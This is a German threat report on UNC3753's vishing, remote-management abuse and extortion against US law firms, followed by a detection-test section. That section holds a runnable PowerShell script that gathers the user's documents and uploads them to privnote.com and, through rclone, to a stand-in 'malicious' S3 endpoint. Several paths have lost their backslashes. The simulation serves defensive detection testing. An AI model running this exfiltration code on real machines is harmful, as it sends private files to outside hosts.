Rechtsbeistand suchen: Fortdauernde gezielte Angriffe auf US-Anwaltskanzleien

Zusammenfassung

Ein finanziell motivierter Bedrohungscluster, der als UNC3753 verfolgt wird, führt Vishing-Kampagnen durch, die Opfer dazu verleiten, Fernüberwachungs- und -verwaltungssoftware zu installieren. Sobald der Zugang hergestellt ist, stehlen die Akteure sensible rechtliche und finanzielle Informationen und erpressen dann die betroffene Organisation, indem sie mit öffentlicher Bloßstellung drohen. Die Kampagne konzentriert sich auf professionelle Dienstleistungsunternehmen in den USA, insbesondere Anwaltskanzleien, und kann sowohl cyber-gestützten als auch physischen Datendiebstahl beinhalten.

Untersuchung

Mandiant beobachtete den kompletten Eindringzyklus, von dem anfänglichen Voice-Phishing-Anruf bis hin zu Datendiebstahl und Erpressung, manchmal innerhalb eines einzigen Geschäftstages. Opfer wurden überzeugt, Bildschirmfreigabe-Tools und RMM-Software wie AnyDesk, Bomgar oder einen benutzerdefinierten SuperOps-Installer zu nutzen, der mit einem curl Befehl geliefert wurde. Die Datenexfiltration wurde mit Tools wie WinSCP, Rclone oder direktem Hochladen zu Konsumenten-Cloud-Speicherkonten durchgeführt.

Minderung

Organisationen sollten Mitarbeiter schulen, Vishing-Versuche zu erkennen, strikte Verifizierungsverfahren für jede Remote-Support-Anfrage durchsetzen und unbefugte RMM- und Bildschirmfreigabetools blockieren. Das Deaktivieren von Wechseldatenträgern, die Überwachung ungewöhnlicher ausgehender Übertragungen zu Cloud-Speichern oder FTP-Zielen, die Anwendung bedingter Zugriffskontrollen auf VDI und die Durchsetzung von MFA auf kritischen Dokumenten-Repositories können das Risiko weiter reduzieren.

Antwort

Wenn diese Aktivität erkannt wird, isolieren Sie den betroffenen Endpunkt sofort, beenden Sie alle unbefugten Remote-Sitzungen und entfernen Sie installierte RMM-Binärdateien. Ermittler sollten die Kommandozeilen-Historie, Registry-Änderungen und geplante Task-Artefakte für die forensische Überprüfung sammeln. Kompromittierte Anmeldedaten sollten zurückgesetzt, die Datenexfiltration bewertet und die Einbindung der Strafverfolgungsbehörden in Betracht gezogen werden, wenn mit der Erpressung begonnen wurde.

Simulationsdurchführung

Voraussetzung: Die Telemetrie- & Baseline-Prüfung muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Methode (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darlegen, die die genaue Telemetrie generieren, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu falschen Diagnosen.

• Angriffs-Narrativ & Befehle:

  1. Aufklärung & Datenstaging (T1005, T1083):
     Der Gegner enumeriert Benutzerverzeichnisse und kopiert alle *.docx and *.xlsx Dateien in einen Staging-Ordner C:TempStagedData.

  2. Upload via Privnote (T1567.002):
     Unter Verwendung von PowerShell liest der Angreifer jede Datei, kodiert den Inhalt in Base-64 und sendet ihn an https://privnote.com/api/note. Die Befehlszeile enthält die URL, was die selection_privnote Bedingung erfüllt.

  3. Übertragung mit Rclone (T1020):
     Der Angreifer führt rclone.exe (im Fluge heruntergeladen) aus, um die gestagten Dateien in einen bösartigen S3-Bucket zu verschieben. Der Prozessname „rclone.exe“ entspricht selection_tool.

  4. Bereinigung: Löschen Sie den Staging-Ordner und alle verbleibenden Binärdateien.

• Regressionstest-Skript: (PowerShell – eigenständig, keine externen Abhängigkeiten außer Invoke-WebRequest.)

  # -------------------------------------------------
  # UNC3753 Exfiltrationssimulation – PowerShell
  # -------------------------------------------------
  # 1. Vorbereitung des Staging-Verzeichnisses
  $staging = "$env:USERPROFILETempStagedData"
  New-Item -ItemType Directory -Force -Path $staging | Out-Null
  
  # 2. Kopieren von Musterdaten (simuliert Datenerfassung)
  Get-ChildItem -Path "$env:USERPROFILEDocuments" -Include *.docx, *.xlsx -Recurse -ErrorAction SilentlyContinue |
      ForEach-Object { Copy-Item -Path $_.FullName -Destination $staging -Force }
  
  # 3. Hochladen jeder Datei zu Privnote (Web-Service Exfiltration)
  $privnoteUrl = "https://privnote.com/api/note"
  Get-ChildItem -Path $staging -File | ForEach-Object {
      $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName))
      $body = @{ text = $content }
      # Die URL erscheint in der Befehlszeile -> löst selection_privnote aus
      Invoke-WebRequest -Uri $privnoteUrl -Method POST -Body $body -UseBasicParsing | Out-Null
  }
  
  # 4. Laden Sie Rclone herunter (falls nicht vorhanden) und führen Sie die Exfiltration über S3 durch
  $rcloneExe = "$env:TEMPrclone.exe"
  if (-not (Test-Path $rcloneExe)) {
      Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "$env:TEMPrclone.zip"
      Expand-Archive -Path "$env:TEMPrclone.zip" -DestinationPath $env:TEMP -Force
      Move-Item -Path (Get-ChildItem "$env:TEMPrclone-*-windows-amd64rclone.exe").FullName -Destination $rcloneExe -Force
  }
  
  # Konfigurieren Sie einen Remote (bösartigen) S3-Bucket – die Konfiguration wird in einer temporären Datei gespeichert
  $rcloneConfig = @"
  [malicious
  type = s3
  provider = AWS
  access_key_id = AKIAFAKEKEY
  secret_access_key = fakeSecretKey123
  region = us-east-1
  endpoint = https://malicious-s3.example.com
  "@
  $configPath = "$env:TEMPrclone.conf"
  $rcloneConfig | Set-Content -Path $configPath -Encoding ASCII
  
  # Führen Sie rclone copy aus – Prozessname "rclone.exe" löst selection_tool aus
  & $rcloneExe copy $staging "malicious:exfil" --config $configPath --log-level INFO
  
  # 5. Bereinigung
  Remove-Item -Recurse -Force $staging
  Remove-Item -Force $rcloneExe, $configPath

• Bereinigungskommandos:

  # Beenden Sie alle verbleibenden WinSCP- oder Rclone-Prozesse
  Get-Process -Name WinSCP, rclone -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Löschen Sie alle verbleibenden temporären Dateien (falls vorhanden)
  Remove-Item -Path "$env:TEMPWinSCP.exe","$env:TEMPWinSCP.zip","$env:TEMPrclone.zip","$env:TEMPrclone-*-windows-amd64" -Recurse -Force -ErrorAction SilentlyContinue

Ende des Berichts